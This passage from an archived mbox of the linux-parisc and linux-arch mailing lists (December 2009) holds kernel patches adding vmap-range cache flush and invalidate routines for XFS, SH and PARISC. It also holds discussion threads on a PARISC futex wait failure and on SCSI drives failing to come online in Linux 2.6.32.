that xfs uses, this hand rolled routine must also implement the flushing
API for vmap/vmalloc areas.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 fs/xfs/linux-2.6/xfs_buf.c |   20 +++++++++++++++++++-
 1 files changed, 19 insertions(+), 1 deletions(-)

diff --git a/fs/xfs/linux-2.6/xfs_buf.c b/fs/xfs/linux-2.6/xfs_buf.c
index 77b8be8..4c77d96 100644
--- a/fs/xfs/linux-2.6/xfs_buf.c
+++ b/fs/xfs/linux-2.6/xfs_buf.c
@@ -76,6 +76,19 @@ struct workqueue_struct *xfsconvertd_workqueue;
 #define xfs_buf_deallocate(bp) \
 	kmem_zone_free(xfs_buf_zone, (bp));
 
+STATIC int
+xfs_bp_is_vmapped(
+	xfs_buf_t	*bp)
+{
+	/* return true if the buffer is vmapped. The XBF_MAPPED flag
+	 * is set if the buffer should be mapped, but the code is
+	 * clever enough to know it doesn't have to map a single page,
+	 * so the check has to be both for XBF_MAPPED and
+	 * bp->b_page_count > 1 */
+	return (bp->b_flags & XBF_MAPPED) && bp->b_page_count > 1;
+}
+
+
 /*
  *	Page Region interfaces.
  *
@@ -314,7 +327,7 @@ xfs_buf_free(
 	if (bp->b_flags & (_XBF_PAGE_CACHE|_XBF_PAGES)) {
 		uint		i;
 
-		if ((bp->b_flags & XBF_MAPPED) && (bp->b_page_count > 1))
+		if (xfs_bp_is_vmapped(bp))
 			free_address(bp->b_addr - bp->b_offset);
 
 		for (i = 0; i < bp->b_page_count; i++) {
@@ -1107,6 +1120,9 @@ xfs_buf_bio_end_io(
 
 	xfs_buf_ioerror(bp, -error);
 
+	if (!error && xfs_bp_is_vmapped(bp))
+		invalidate_kernel_vmap_range(bp->b_addr, (bp->b_page_count * PAGE_SIZE) - bp->b_offset);
+
 	do {
 		struct page	*page = bvec->bv_page;
 
@@ -1216,6 +1232,8 @@ next_chunk:
 
 submit_io:
 	if (likely(bio->bi_size)) {
+		if (xfs_bp_is_vmapped(bp))
+			flush_kernel_vmap_range(bp->b_addr, (bp->b_page_count * PAGE_SIZE) - bp->b_offset);
 		submit_bio(rw, bio);
 		if (size)
 			goto next_chunk;
-- 
1.6.5


From - Thu Nov 08 21:05:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: [PATCHv2 4/5] sh: add mm API for DMA to vmalloc/vmap areas
Date: Wed, 23 Dec 2009 15:22:24 -0600
Lines: 32
Approved: news@gmane.org
Message-ID: <1261603345-2494-5-git-send-email-James.Bottomley@suse.de>
References: <1261603345-2494-1-git-send-email-James.Bottomley@suse.de>
 <1261603345-2494-2-git-send-email-James.Bottomley@suse.de>
 <1261603345-2494-3-git-send-email-James.Bottomley@suse.de>
 <1261603345-2494-4-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1261603487 17561 80.91.229.12 (23 Dec 2009 21:24:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Dec 2009 21:24:47 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Christoph Hellwig <hch@lst.de>,
	Russell King <rmk@arm.linux.org.uk>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 23 22:24:39 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNYhB-0006Fc-Ga
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Dec 2009 22:24:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757076AbZLWVXX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Dec 2009 16:23:23 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757234AbZLWVXW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Dec 2009 16:23:22 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:58596 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757277AbZLWVW5 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Dec 2009 16:22:57 -0500
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.221.2])
	by mx2.suse.de (Postfix) with ESMTP id ACBF78726A;
	Wed, 23 Dec 2009 22:22:56 +0100 (CET)
X-Mailer: git-send-email 1.6.5
In-Reply-To: <1261603345-2494-4-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2500 gmane.linux.kernel.cross-arch:4923
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2500>

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 arch/sh/include/asm/cacheflush.h |    8 ++++++++
 1 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/arch/sh/include/asm/cacheflush.h b/arch/sh/include/asm/cacheflush.h
index dda96eb..da3ebec 100644
--- a/arch/sh/include/asm/cacheflush.h
+++ b/arch/sh/include/asm/cacheflush.h
@@ -63,6 +63,14 @@ static inline void flush_anon_page(struct vm_area_struct *vma,
 	if (boot_cpu_data.dcache.n_aliases && PageAnon(page))
 		__flush_anon_page(page, vmaddr);
 }
+static inline void flush_kernel_vmap_range(void *addr, int size)
+{
+	__flush_wback_region(addr, size);
+}
+static inline void invalidate_kernel_vmap_range(void *addr, int size)
+{
+	__flush_invalidate_region(addr, size);
+}
 
 #define ARCH_HAS_FLUSH_KERNEL_DCACHE_PAGE
 static inline void flush_kernel_dcache_page(struct page *page)
-- 
1.6.5

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCHv2 2/5] parisc: add mm API for DMA to vmalloc/vmap areas
Date: Wed, 23 Dec 2009 15:22:22 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <1261603345-2494-3-git-send-email-James.Bottomley@suse.de>
References: <1261603345-2494-1-git-send-email-James.Bottomley@suse.de>
 <1261603345-2494-2-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1261603494 17593 80.91.229.12 (23 Dec 2009 21:24:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Dec 2009 21:24:54 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org, Christoph Hellwig <hch@lst.de>,
	Russell King <rmk@arm.linux.org.uk>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Wed Dec 23 22:24:46 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNYhC-0006Fc-NB
	for glka-linux-arch@lo.gmane.org; Wed, 23 Dec 2009 22:24:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757203AbZLWVXY (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Wed, 23 Dec 2009 16:23:24 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757277AbZLWVXX
	(ORCPT <rfc822;linux-arch-outgoing>);
	Wed, 23 Dec 2009 16:23:23 -0500
Original-Received: from cantor2.suse.de ([195.135.220.15]:58588 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757274AbZLWVWz (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Wed, 23 Dec 2009 16:22:55 -0500
Original-Received: from relay2.suse.de (charybdis-ext.suse.de [195.135.221.2])
	by mx2.suse.de (Postfix) with ESMTP id ACF6387D82;
	Wed, 23 Dec 2009 22:22:52 +0100 (CET)
X-Mailer: git-send-email 1.6.5
In-Reply-To: <1261603345-2494-2-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4924 gmane.linux.ports.parisc:2501
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2501>

We already have an API to flush a kernel page along an alias
address, so use it.  The TLB purge prevents the CPU from doing
speculative moveins on the flushed address, so we don't need to
implement and invalidate.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 arch/parisc/include/asm/cacheflush.h |   12 ++++++++++++
 1 files changed, 12 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 7a73b61..4772777 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -38,6 +38,18 @@ void flush_cache_mm(struct mm_struct *mm);
 
 #define flush_kernel_dcache_range(start,size) \
 	flush_kernel_dcache_range_asm((start), (start)+(size));
+/* vmap range flushes and invalidates.  Architecturally, we don't need
+ * the invalidate, because the CPU should refuse to speculate once an
+ * area has been flushed, so invalidate is left empty */
+static inline void flush_kernel_vmap_range(void *vaddr, int size)
+{
+	unsigned long start = (unsigned long)vaddr;
+
+	flush_kernel_dcache_range_asm(start, start + size);
+}
+static inline void invalidate_kernel_vmap_range(void *vaddr, int size)
+{
+}
 
 #define flush_cache_vmap(start, end)		flush_cache_all()
 #define flush_cache_vunmap(start, end)		flush_cache_all()
-- 
1.6.5


From - Thu Nov 08 21:05:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Wed, 23 Dec 2009 16:48:25 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <119aab440912231348y3731ce2bge2a41cf998d573f7@mail.gmail.com>
References: <119aab440912221230x1011a218sec9c5a1a07e85800@mail.gmail.com>
	 <20091222220513.E436C4EA9@hiauly1.hia.nrc.ca>
	 <119aab440912230701g6656be6fsdaf5383d2ff02363@mail.gmail.com>
	 <20091223161504.GA13299@hiauly1.hia.nrc.ca>
	 <20091223164828.GA13631@hiauly1.hia.nrc.ca>
	 <20091223203956.GA14732@hiauly1.hia.nrc.ca>
	 <119aab440912231245u5f1b88d3j54e11ad6a6e8953c@mail.gmail.com>
	 <20091223210807.GB14837@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1261604949 21883 80.91.229.12 (23 Dec 2009 21:49:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Dec 2009 21:49:09 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@nrc-cnrc.gc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 23 22:49:02 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNZ4U-00076k-9Z
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Dec 2009 22:48:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755725AbZLWVsa convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Dec 2009 16:48:30 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757030AbZLWVs3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Dec 2009 16:48:29 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:62817 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756979AbZLWVs1 convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Dec 2009 16:48:27 -0500
Original-Received: by bwz27 with SMTP id 27so5020847bwz.21
        for <linux-parisc@vger.kernel.org>; Wed, 23 Dec 2009 13:48:25 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=M98I68APVB2ak+yYl8MUej3nd6tBUcGS6EQY4QrjUPE=;
        b=uRumTCIKI+NYculb/wj5CFcOZ8cN+ruTniBCwatwkJ0YdnPRvqvW3wH1Bvo2Xn8QSJ
         gFBTvSIyD+eMlDZxlnAL6QwXVFeEP4m9uK4ls0wQ+VizSxq9WiNIJu1DlHpOJaAW5bPq
         PoxQYcem9MrRhkNg8KW+9fXKE/SR8cl7pvs8Q=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=rfncTc0bQE/TKwQlOpWAEe46hXyKzJwC6ibdyYvLsaE2+htjOzUSrHbFsgOL/m6RyY
         TdQRStM6MX9JchZJV2fT9AVdsB3YhKdc76p9ThlfeuCxBofQZ5pkXQPijQAP+lvu0yDP
         Py4ll+cfuXmNwS2piWklv6FbDlZgLPtXe5UXo=
Original-Received: by 10.204.152.151 with SMTP id g23mr7288451bkw.148.1261604905402; 
	Wed, 23 Dec 2009 13:48:25 -0800 (PST)
In-Reply-To: <20091223210807.GB14837@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: 35b77e301939be43
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2502
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2502>

On Wed, Dec 23, 2009 at 4:08 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> You might get a better idea if you run this under strace and look at
>> the futex syscalls being made. You won't see the locks since the fas=
t
>> path is through the light-weight-syscall compare-and-swap, but you
>> will see the unlocks, and you can count them.
>
> I would guess that the notifierMutex is locked/unlocked millions of
> time in a typical GCC testsuite run. =A0So, the problem won't be easy
> to duplicate manually.

You would be surprised how easy it is to duplicate some of these
problems. We need to write a small skeleton application that does
something similar to the notification done by tcl and uses
pthread_cond_timedwait. Setup main to run forever signaling the child
which does something and then goes back to waiting. Eventually this
should lock up like it does in tcl.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Wed, 23 Dec 2009 17:18:55 -0500 (EST)
Lines: 14
Approved: news@gmane.org
Message-ID: <20091223221856.3E76F4E77@hiauly1.hia.nrc.ca>
References: <no.id>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1261606748 27237 80.91.229.12 (23 Dec 2009 22:19:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Dec 2009 22:19:08 +0000 (UTC)
Cc: carlos@systemhalted.org, dave.anglin@nrc-cnrc.gc.ca,
	linux-parisc@vger.kernel.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Dec 23 23:19:01 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNZXn-0004k8-EY
	for glpp-linux-parisc@lo.gmane.org; Wed, 23 Dec 2009 23:18:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756240AbZLWWS7 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Dec 2009 17:18:59 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756853AbZLWWS6
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Dec 2009 17:18:58 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:3502 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1756240AbZLWWS6 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Dec 2009 17:18:58 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 3E76F4E77; Wed, 23 Dec 2009 17:18:55 -0500 (EST)
In-Reply-To: <no.id> from "John David Anglin" at Dec 23, 2009 05:10:33 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2503
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2503>

> I have noticed that the notifierMutex mutex is initialized to all
> zeros (i.e., it's declared static).  Is this ok with our nptl implementation?

Forget this, it's done in Tcl_MutexLock.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: No drives come online in 2.6.32?
Date: Wed, 23 Dec 2009 21:19:19 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <119aab440912231819x621898d2lf2b58a3e27b86047@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1261621171 27403 80.91.229.12 (24 Dec 2009 02:19:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Dec 2009 02:19:31 +0000 (UTC)
To: linux-parisc <linux-parisc@vger.kernel.org>,
	Matthew Wilcox <matthew@wil.cx>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 24 03:19:24 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNdIP-0000mh-JA
	for glpp-linux-parisc@lo.gmane.org; Thu, 24 Dec 2009 03:19:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752000AbZLXCTV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Dec 2009 21:19:21 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752029AbZLXCTV
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Dec 2009 21:19:21 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:56882 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752000AbZLXCTU (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Dec 2009 21:19:20 -0500
Original-Received: by bwz27 with SMTP id 27so5103045bwz.21
        for <linux-parisc@vger.kernel.org>; Wed, 23 Dec 2009 18:19:19 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        bh=xp+Jh32/PtS7pPUiLknuBlVC6u6a//WaHGX397G3MsU=;
        b=eBATWPmjLhxjeUGN6qeMtt00Ie7g1fsALAbQErfljZ+VR7bPdxVDAc0b60/2nzyl3m
         FSForWo9ES7s0YBROfhg59seClxyF6vV5boul6CmlV7JP4H13DXB5aMOtXrkfkQvO/Xz
         eR9SXjzPInARTCHYd9UhCU3fE1YnrxYwql+KI=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=qJaFgLN8wdt5RjcaZP4AyKXb9oJAVMVayAjBDoF2OFFebCod+dVoQZM084Vd+HguXE
         X7/mp9PlFgtqvMtmcO3lcKOtQGMoWJWRxtLbixaLWOWBsBlLeTzndpHZKblBzMbi1BaJ
         5tvPiKPs1zi4lVrdObx447i+xqy3HbjTPBz5M=
Original-Received: by 10.204.11.18 with SMTP id r18mr5412429bkr.15.1261621159074; Wed, 
	23 Dec 2009 18:19:19 -0800 (PST)
X-Google-Sender-Auth: 5efc710e268df85f
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2504
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2504>

When booting 2.6.32, my scsi drives don't come online, all I see during boot is:
~~~
sym53c8xx 0000:00:01.0: enabling device (0000 -> 0003)
sym53c8xx 0000:00:01.0: enabling SERR and PARITY (0003 -> 0143)
sym53c8xx 0000:00:01.1: enabling device (0000 -> 0003)
sym53c8xx 0000:00:01.1: enabling SERR and PARITY (0003 -> 0143)
sym53c8xx 0000:00:02.0: enabling device (0000 -> 0003)
sym53c8xx 0000:00:02.0: enabling SERR and PARITY (0003 -> 0143)
sym53c8xx 0000:00:02.1: enabling device (0146 -> 0147)
~~~
When booting 2.6.32-rc6 the drives come online right away after they
are enabled.

No amount of waiting helps.

Any clues?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: futex wait failure
Date: Wed, 23 Dec 2009 21:22:47 -0500
Lines: 24
Approved: news@gmane.org
Message-ID: <119aab440912231822m4b2a9c30ja5e17404210e7e50@mail.gmail.com>
References: <20091223221856.3E76F4E77@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1261621377 27735 80.91.229.12 (24 Dec 2009 02:22:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Dec 2009 02:22:57 +0000 (UTC)
Cc: dave.anglin@nrc-cnrc.gc.ca, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Dec 24 03:22:50 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1NNdLl-0000mh-Kr
	for glpp-linux-parisc@lo.gmane.org; Thu, 24 Dec 2009 03:22:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751574AbZLXCWt convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Dec 2009 21:22:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751764AbZLXCWt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Dec 2009 21:22:49 -0500
Original-Received: from mail-bw0-f227.google.com ([209.85.218.227]:61506 "EHLO
	mail-bw0-f227.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751574AbZLXCWs convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Dec 2009 21:22:48 -0500
Original-Received: by bwz27 with SMTP id 27so5103898bwz.21
        for <linux-parisc@vger.kernel.org>; Wed, 23 Dec 2009 18:22:47 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:in-reply-to
         :references:date:x-google-sender-auth:message-id:subject:from:to:cc
         :content-type:content-transfer-encoding;
        bh=GyzXuwr22/djQY3HJfeeID8o+PRjnRA9AnCyF/SxYT8=;
        b=YAOuKXGmMOhG8rgs+x7xaGmkp/AFRbhYYYD3VMXFnqG/xtLq9FqYfXPFgNkRYSGBv5
         mC8hyeVucVNqP1mYbfKtpiD2MMlTtgZ00dvYRs7RG6xSXBvLKRmK4dHken8tu6ktMFj0
         NJDUaxTtog+DCx+Twq//onoAR7GcE+pusdl74=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:in-reply-to:references:date
         :x-google-sender-auth:message-id:subject:from:to:cc:content-type
         :content-transfer-encoding;
        b=tRBaYCQZq1hmGhjcLPBOTYjrBvX/M2U4A8K2B2TZkDDI5oLtpj8Kic+6s9UqkYdUfd
         hgeEklm0hEkYuORJ+G1bqnxMHglJhIEBNY7ApaHIpEQxoTHOjcgioq+6Ae5qDRNJ0yRT
         /5AxK0ZnvCKNP3T7Igu6s4VXOrSs+xlg1QBaw=
Original-Received: by 10.204.6.9 with SMTP id 9mr3396795bkx.160.1261621367357; Wed, 23 
	Dec 2009 18:22:47 -0800 (PST)
In-Reply-To: <20091223221856.3E76F4E77@hiauly1.hia.nrc.ca>
X-Google-Sender-Auth: b764304989f210dc
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2505
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2505>

On Wed, Dec 23, 2009 at 5:18 PM, John David Anglin
<dave@hiauly1.hia.nrc.ca> wrote:
>> I have noticed that the notifierMutex mutex is initialized to all
>> zeros (i.e., it's declared static). =A0Is this ok with our nptl impl=
ementation?
>
> Forget this, it's done in Tcl_MutexLock.

In NPTL the hppa locks are all zero. We no longer use
load-and-clear-word for anything in userspace.

Even the dynamic initialization will zero the lock.

We are just like every other architecture... with the exception that
we currently have more bugs :-)

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:05:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: No drives come online in 2.6.32?
Date: Thu, 24 Dec 2009 00:40:54 -0500
Lines: 29
Approved: news@gmane.org
Message-ID: <119aab440912232140x6f61ce12r9e9448ae690489a2@mail.gmail.com>
References: <119aab440912231819x621898d2lf2b58a3e27b86047@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1261633265 15147 80.91.229.12 (24 Dec 2009 05:41:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 24 Dec 2009 05:41:05 +0000 (UTC)
